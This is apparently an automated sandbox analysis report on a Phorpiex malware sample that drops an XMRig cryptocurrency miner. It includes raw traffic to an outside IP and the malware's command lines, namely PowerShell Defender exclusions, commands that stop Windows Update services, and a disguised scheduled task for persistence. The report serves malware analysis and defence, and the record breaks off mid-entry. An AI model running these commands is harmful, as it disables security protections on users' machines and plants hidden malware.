Oct 26, 2024 07:28:19.210366011 CEST	1236	IN	Data Raw: 6e 13 33 1e c3 06 07 53 0b e8 41 8d 1f 42 91 8b 82 43 9f 77 81 4a 94 9c 76 1a e8 31 9f b1 e0 73 3e 70 96 a2 ea 73 c5 8b 66 f8 79 fb 7f 98 cd d3 46 4f 43 d6 fa 08 48 69 5f 52 f5 37 ae 12 d5 96 02 02 f0 47 80 8e 4c a4 e5 c7 2e 97 a7 c8 40 e5 5d ee Data Ascii: n3SABCwJv1s>psfyFOCHi_R7GL.@])H1Kr:s']@-:N=rMvVyI7:%MZ}a OaYrPQ;\|<5c0aFh){
Oct 26, 2024 07:28:19.210385084 CEST	1236	IN	Data Raw: 10 ed 29 9e 49 cc d6 c2 1b b7 a4 91 44 a7 e6 56 12 05 30 8f f2 5d d9 97 44 fb fe cb f5 9a 98 09 8c 5e 62 42 e8 56 db 7f 7d bc 12 5d 00 49 af ea e1 9b 1b 16 26 09 d2 73 9c dc 9e 73 f2 fb fd d2 64 77 9d b0 be db 2e 24 95 df c9 fb d1 f2 6e d2 65 c4 Data Ascii: )IDV0]D^bBV}]I&ssdw.$ne1UM?tIC(`mCy`OG*Kz8lCtli"sy_CYDsI~a7EW<Q:z\,2`+tpk@T-#_DswpT
Oct 26, 2024 07:28:19.210405111 CEST	1236	IN	Data Raw: 80 02 a6 34 02 a7 6f b1 a4 1d 0c a0 b3 13 e9 58 d7 d8 22 e3 1a 9f 6a a0 29 a3 68 61 2d d4 f5 4e c3 ff ac ef 37 7b a1 15 8a fb 68 ce 0c 7c db 73 ce f1 5b 95 58 21 b6 88 9b 60 7e 76 11 91 99 1a 7a 24 ed 36 c4 c4 62 31 e0 1c 11 0e 85 6f 02 71 55 58 Data Ascii: 4oX"j)ha-N7{h\|s[X!`~vz$6b1oqUXH10>&{gJ.pSmw2X}g\|5ABwo=/w]BZn6=Z!o{TVSz7[G8ZRb"wJ?is&w
Oct 26, 2024 07:28:19.210424900 CEST	1236	IN	Data Raw: 94 5c e9 f7 1b d9 bc a0 61 c7 a7 ea 81 0b 7b 9e bd 20 09 19 0f b2 a3 12 ca 6b df 60 d4 c3 e5 ff 53 4a 8f 99 50 c8 7f e5 0e 85 73 3b cc 72 33 61 c0 78 86 c0 a8 49 ac 06 07 58 1c 43 2f 51 55 53 c2 e9 89 22 ff 13 e0 6d c7 64 8e 61 1b 2a f6 b5 c0 24 Data Ascii: \a{ k`SJPs;r3axIXC/QUS"mda$n&E%@HUNX `C@HuWn+6%c(&rSV){;{F5XSzX~PWo&N#Gxn)'.d*syf~F
Oct 26, 2024 07:28:19.211889982 CEST	1236	IN	Data Raw: d5 62 8a c7 e2 27 13 1b f4 45 c4 b7 69 93 0c cd cd ca 3e 15 79 5a b9 08 6c 35 d0 65 ff 7b 60 48 35 4a 53 8d 52 84 1a f0 d7 80 ca fe 61 d0 ef c7 f4 2a 08 c1 ac 6a 2b 25 bd d0 fa 14 b8 7b 77 e3 b2 b7 40 c9 60 0d 34 8a 82 8c 1f f0 51 39 b7 fb d8 6f Data Ascii: b'Ei>yZl5e{`H5JSRaj+%{w@`4Q9o@sHt4'C<GKD>(vhM@XXU"sE"R.YS?KsZXc'Yjd\ZRf\|K>YfaZ7^7BXhH`
Oct 26, 2024 07:28:19.211910009 CEST	1236	IN	Data Raw: 29 c2 da 25 9a 5f 4a f9 e4 49 c9 6f d8 87 ec b4 0f a3 bb 43 5f 5e bb 2a b0 88 20 16 05 4c 5d c4 43 10 91 5c 4e f8 9e 83 99 5c ab 98 b7 9e e5 d1 70 c0 1d a5 b2 2b bd f9 6c c3 4a c9 9c 68 1e fa 40 13 67 45 1b 54 69 95 1b 1a 1e 74 4c ec 84 16 3f b5 Data Ascii: )%_JIoC_^* L]C\N\p+lJh@gETitL?.q>UKx!GCAyIl&m1`pr?;;Y:`Q{szy(>E< "k^`V)f\|),X@lI!\=IL86isF>["S$
Oct 26, 2024 07:28:19.211930037 CEST	784	IN	Data Raw: 8d 7d 01 bd bc 9b b9 d3 a3 53 64 c8 ed 3a 26 61 cd 5c d6 e3 5a 12 96 e9 b2 c4 8f 37 1c 61 7f 16 d0 a4 86 22 20 27 04 a1 df be e3 01 f5 29 5c 08 e1 7b 2a 05 16 82 05 77 ed c2 63 62 08 3c 7a d0 6f 10 c9 73 7a e1 e8 de 85 7c 54 4c 86 55 17 ea 1e 07 Data Ascii: }Sd:&a\Z7a" ')\{*wcb<zosz\|TLU"bF<h1'</;u#\|>h,TlF][5^B <'1N\|h/hHQdY!:'&1lU;7f=AGw:K6Y9?:}..c$Y
Oct 26, 2024 07:28:19.218785048 CEST	1236	IN	Data Raw: 8e 4c 80 2a ce 4b b1 a9 bf 51 f3 ea ba ed d4 41 22 af ff 21 b5 d5 c6 96 e8 f0 31 a9 23 e8 0d 38 24 4a 70 01 c7 88 5c 60 69 96 d8 c1 51 2a 92 cb a8 42 2e 25 25 68 d2 fe db 5c 44 50 09 ef 2d e1 cc 0a 55 d2 5c b5 1b 27 92 9c bb ad 19 21 1e 38 2f 66 Data Ascii: LKQA"!1#8$Jp\`iQB.%%h\DP-U\'!8/fL!cq@\|?$Q6!4/C&UyH@qkb42YIo 5>W6B*5EYC6USz"8B#Zsuw=mtcC/AM3B0Tf~SW

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.6	50027	91.202.233.141	80	1588	C:\Windows\sysppvrdnvs.exe

Timestamp	Bytes transferred	Direction	Data
Oct 26, 2024 07:28:22.408170938 CEST	166	OUT	GET /1 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Host: 91.202.233.141
Oct 26, 2024 07:28:23.377285004 CEST	728	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Sat, 26 Oct 2024 05:28:23 GMT Content-Type: text/html Content-Length: 564 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Target ID:	0
Start time:	01:26:18
Start date:	26/10/2024
Path:	C:\Users\user\Desktop\Us051y7j25.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Us051y7j25.exe"
Imagebase:	0x140000
File size:	10'240 bytes
MD5 hash:	82894CAEB7E149BB38D344FBC2A821D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	01:26:27
Start date:	26/10/2024
Path:	C:\Users\user\AppData\Local\Temp\21324.scr
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\21324.scr" /S
Imagebase:	0x400000
File size:	85'504 bytes
MD5 hash:	06560B5E92D704395BC6DAE58BC7E794
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Phorpiex_4, Description: Yara detected Phorpiex, Source: 00000003.00000002.2377755472.0000000000410000.00000002.00000001.01000000.00000006.sdmp, Author: Joe Security Rule: JoeSecurity_Phorpiex_4, Description: Yara detected Phorpiex, Source: 00000003.00000000.2346481586.0000000000410000.00000002.00000001.01000000.00000006.sdmp, Author: Joe Security Rule: JoeSecurity_Phorpiex_4, Description: Yara detected Phorpiex, Source: 00000003.00000003.2367229368.00000000007C7000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Phorpiex_4, Description: Yara detected Phorpiex, Source: C:\Users\user\AppData\Local\Temp\21324.scr, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 82%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	01:26:29
Start date:	26/10/2024
Path:	C:\Windows\sysppvrdnvs.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\sysppvrdnvs.exe
Imagebase:	0x400000
File size:	85'504 bytes
MD5 hash:	06560B5E92D704395BC6DAE58BC7E794
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Phorpiex_4, Description: Yara detected Phorpiex, Source: 00000004.00000000.2367149756.0000000000410000.00000002.00000001.01000000.00000007.sdmp, Author: Joe Security Rule: JoeSecurity_Phorpiex_4, Description: Yara detected Phorpiex, Source: 00000004.00000002.3513091368.0000000000410000.00000002.00000001.01000000.00000007.sdmp, Author: Joe Security Rule: JoeSecurity_Phorpiex_4, Description: Yara detected Phorpiex, Source: C:\Windows\sysppvrdnvs.exe, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 82%, ReversingLabs
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	5
Start time:	01:26:32
Start date:	26/10/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell -Command "Add-MpPreference -ExclusionPath $env:windir; Add-MpPreference -ExclusionPath $env:TEMP; Add-MpPreference -ExclusionPath $env:USERPROFILE"
Imagebase:	0x1c0000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	01:26:32
Start date:	26/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	01:26:32
Start date:	26/10/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop DoSvc & sc stop BITS /wait
Imagebase:	0x1c0000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	01:26:32
Start date:	26/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	01:26:32
Start date:	26/10/2024
Path:	C:\Windows\SysWOW64\sc.exe
Wow64 process (32bit):	true
Commandline:	sc stop UsoSvc
Imagebase:	0x1a0000
File size:	61'440 bytes
MD5 hash:	D9D7684B8431A0D10D0E76FE9F5FFEC8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	01:26:32
Start date:	26/10/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	powershell -Command "Add-MpPreference -ExclusionPath $env:windir; Add-MpPreference -ExclusionPath $env:TEMP; Add-MpPreference -ExclusionPath $env:USERPROFILE"
Imagebase:	0x830000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	01:26:33
Start date:	26/10/2024
Path:	C:\Windows\SysWOW64\sc.exe
Wow64 process (32bit):	true
Commandline:	sc stop WaaSMedicSvc
Imagebase:	0x1a0000
File size:	61'440 bytes
MD5 hash:	D9D7684B8431A0D10D0E76FE9F5FFEC8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	01:26:33
Start date:	26/10/2024
Path:	C:\Windows\SysWOW64\sc.exe
Wow64 process (32bit):	true
Commandline:	sc stop wuauserv
Imagebase:	0x1a0000
File size:	61'440 bytes
MD5 hash:	D9D7684B8431A0D10D0E76FE9F5FFEC8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	01:26:33
Start date:	26/10/2024
Path:	C:\Windows\SysWOW64\sc.exe
Wow64 process (32bit):	true
Commandline:	sc stop DoSvc
Imagebase:	0x1a0000
File size:	61'440 bytes
MD5 hash:	D9D7684B8431A0D10D0E76FE9F5FFEC8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	01:26:33
Start date:	26/10/2024
Path:	C:\Windows\SysWOW64\sc.exe
Wow64 process (32bit):	true
Commandline:	sc stop BITS /wait
Imagebase:	0x1a0000
File size:	61'440 bytes
MD5 hash:	D9D7684B8431A0D10D0E76FE9F5FFEC8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	01:26:40
Start date:	26/10/2024
Path:	C:\Windows\sysppvrdnvs.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\sysppvrdnvs.exe"
Imagebase:	0x400000
File size:	85'504 bytes
MD5 hash:	06560B5E92D704395BC6DAE58BC7E794
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Phorpiex_4, Description: Yara detected Phorpiex, Source: 00000012.00000000.2471335406.0000000000410000.00000002.00000001.01000000.00000007.sdmp, Author: Joe Security Rule: JoeSecurity_Phorpiex_4, Description: Yara detected Phorpiex, Source: 00000012.00000002.2492028868.0000000000410000.00000002.00000001.01000000.00000007.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	01:26:49
Start date:	26/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1881231804.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\AppData\Local\Temp\1881231804.exe
Imagebase:	0x7ff7934f0000
File size:	8'704 bytes
MD5 hash:	CB8420E681F68DB1BAD5ED24E7B22114
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 75%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	01:26:49
Start date:	26/10/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c reg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Windows Upgrade Manager" /f
Imagebase:	0x7ff64c210000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	01:26:49
Start date:	26/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	01:26:49
Start date:	26/10/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c schtasks /delete /f /tn "Windows Upgrade Manager"
Imagebase:	0x7ff64c210000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	01:26:49
Start date:	26/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	01:26:49
Start date:	26/10/2024
Path:	C:\Windows\System32\reg.exe
Wow64 process (32bit):	false
Commandline:	reg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Windows Upgrade Manager" /f
Imagebase:	0x7ff7d36b0000
File size:	77'312 bytes
MD5 hash:	227F63E1D9008B36BDBCC4B397780BE4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	01:26:49
Start date:	26/10/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks /delete /f /tn "Windows Upgrade Manager"
Imagebase:	0x7ff6ac2c0000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	01:26:57
Start date:	26/10/2024
Path:	C:\Users\user\AppData\Local\Temp\2314627202.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\2314627202.exe
Imagebase:	0x870000
File size:	15'872 bytes
MD5 hash:	0C37EE292FEC32DBA0420E6C94224E28
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 58%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	01:27:06
Start date:	26/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1091722296.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\1091722296.exe
Imagebase:	0x600000
File size:	10'240 bytes
MD5 hash:	96509AB828867D81C1693B614B22F41D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 76%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	01:27:12
Start date:	26/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1239611256.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\AppData\Local\Temp\1239611256.exe
Imagebase:	0x7ff6904f0000
File size:	5'827'584 bytes
MD5 hash:	13B26B2C7048A92D6A843C1302618FAD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 76%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	01:27:14
Start date:	26/10/2024
Path:	C:\Users\user\AppData\Local\Temp\146916724.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\146916724.exe
Imagebase:	0xc90000
File size:	13'312 bytes
MD5 hash:	5A0D146F7A911E98DA8CC3C6DE8ACABF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 55%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	01:27:17
Start date:	26/10/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#evrkcgqew#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /tn 'Microsoft Windows Security' /tr '''C:\Users\user\Microsoft Windows Security\winupsecvmgr.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Users\user\Microsoft Windows Security\winupsecvmgr.exe') -Trigger (New-ScheduledTaskTrigger -AtLogOn) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'Microsoft Windows Security' -RunLevel 'Highest' -Force; }
Imagebase:	0x7ff6e3d50000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	01:27:17
Start date:	26/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	01:27:27
Start date:	26/10/2024
Path:	C:\Users\user\Microsoft Windows Security\winupsecvmgr.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Microsoft Windows Security\winupsecvmgr.exe"
Imagebase:	0x7ff7ad1b0000
File size:	5'827'584 bytes
MD5 hash:	13B26B2C7048A92D6A843C1302618FAD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000022.00000002.3142710101.00007FF7AD1CB000.00000004.00000001.01000000.00000010.sdmp, Author: Joe Security Rule: MacOS_Cryptominer_Xmrig_241780a1, Description: unknown, Source: 00000022.00000002.3142710101.00007FF7AD1CB000.00000004.00000001.01000000.00000010.sdmp, Author: unknown
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 76%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	01:27:32
Start date:	26/10/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#evrkcgqew#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /tn 'Microsoft Windows Security' /tr '''C:\Users\user\Microsoft Windows Security\winupsecvmgr.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Users\user\Microsoft Windows Security\winupsecvmgr.exe') -Trigger (New-ScheduledTaskTrigger -AtLogOn) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'Microsoft Windows Security' -RunLevel 'Highest' -Force; }
Imagebase:	0x7ff6e3d50000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 6788, Parent PID: 6952

General

Target ID:	36
Start time:	01:27:32
Start date:	26/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	01:27:45
Start date:	26/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\conhost.exe
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	38
Start time:	01:27:45
Start date:	26/10/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#ydcfdz#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /tn 'Microsoft Windows Security' /tr '''C:\Users\user\Microsoft Windows Security\winupsecvmgr.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Users\user\Microsoft Windows Security\winupsecvmgr.exe') -Trigger (New-ScheduledTaskTrigger -AtLogOn) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'Microsoft Windows Security' -RunLevel 'Highest' -Force; }
Imagebase:	0x7ff6e3d50000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	01:27:45
Start date:	26/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	01:27:46
Start date:	26/10/2024
Path:	C:\Windows\System32\dwm.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\dwm.exe
Imagebase:	0x7ff68eb30000
File size:	94'720 bytes
MD5 hash:	5C27608411832C5B39BA04E33D53536C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000028.00000002.3515022371.000002640F711000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	43
Start time:	01:28:07
Start date:	26/10/2024
Path:	C:\Users\user\Microsoft Windows Security\winupsecvmgr.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Microsoft Windows Security\winupsecvmgr.exe"
Imagebase:	0x7ff7ad1b0000
File size:	5'827'584 bytes
MD5 hash:	13B26B2C7048A92D6A843C1302618FAD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	44
Start time:	01:28:13
Start date:	26/10/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
